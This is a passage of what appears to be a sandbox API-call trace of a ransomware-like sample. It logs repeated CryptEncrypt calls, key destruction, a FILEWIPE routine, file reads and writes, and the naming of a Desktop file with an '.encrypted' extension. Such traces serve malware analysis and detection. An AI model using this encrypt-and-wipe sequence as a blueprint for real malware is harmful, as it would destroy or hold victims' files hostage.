wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.399] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.399] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.399] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.399] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x102c8, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x102d0) returned 1 [0023.399] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.399] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.399] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.399] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.399] CharLowerBuffW (in: lpsz="byte[66257]", cchLength=0xb | out: lpsz="byte[66257]") returned 0xb [0023.399] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.400] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.400] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.400] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.400] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.400] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41f1240*, pdwDataLen=0xe8f3dfdf68*=0x102c8, dwBufLen=0x102d0 | out: pbData=0xe8f41f1240*, pdwDataLen=0xe8f3dfdf68*=0x102d0) returned 1 [0023.401] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.401] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.401] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.401] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.401] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.401] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.401] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.401] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.401] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.401] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.401] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.401] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.401] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.401] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.401] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.401] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.401] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.404] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.404] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.404] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.406] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.406] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.406] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0023.406] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.407] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.407] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0023.407] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.407] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0023.407] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.407] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.407] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.407] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.407] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.407] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.407] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.407] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.407] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.407] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0023.407] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.407] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.407] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.407] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.407] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.407] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.407] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.407] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.407] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.408] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.408] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.408] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.408] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.408] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.408] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.408] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.408] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.408] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.408] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.408] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0023.408] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.408] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.408] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.408] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.408] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.408] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.409] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.411] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.412] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.412] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0023.412] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.412] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.412] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.412] CharLowerBuffW (in: lpsz="byte[66248]", cchLength=0xb | out: lpsz="byte[66248]") returned 0xb [0023.414] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.414] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0023.414] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.414] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0023.414] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.414] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.414] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.414] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0023.414] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.414] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.414] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.414] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.414] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.414] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.414] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.414] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.414] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.414] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.414] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.414] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.414] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.414] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.414] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.414] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.414] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0023.415] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.415] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.415] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.415] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0023.415] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.415] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.415] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.415] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.415] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.415] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.415] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0023.415] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.415] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.415] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.415] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.415] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.416] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.416] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.416] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.416] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.416] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.416] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.416] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.416] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.416] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0023.416] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=1897) returned 1 [0023.416] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.416] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0023.416] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0023.416] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x769, lpOverlapped=0x0) returned 1 [0023.417] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0023.417] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x769, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.417] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=1897) returned 1 [0023.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\q768hX7.encrypted.swf\r\n", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0023.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\q768hX7.encrypted.swf\r\n", cchWideChar=53, lpMultiByteStr=0xe8f404c350, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\q768hX7.encrypted.swf\r\n", lpUsedDefaultChar=0x0) returned 53 [0023.417] WriteFile (in: hFile=0x188, 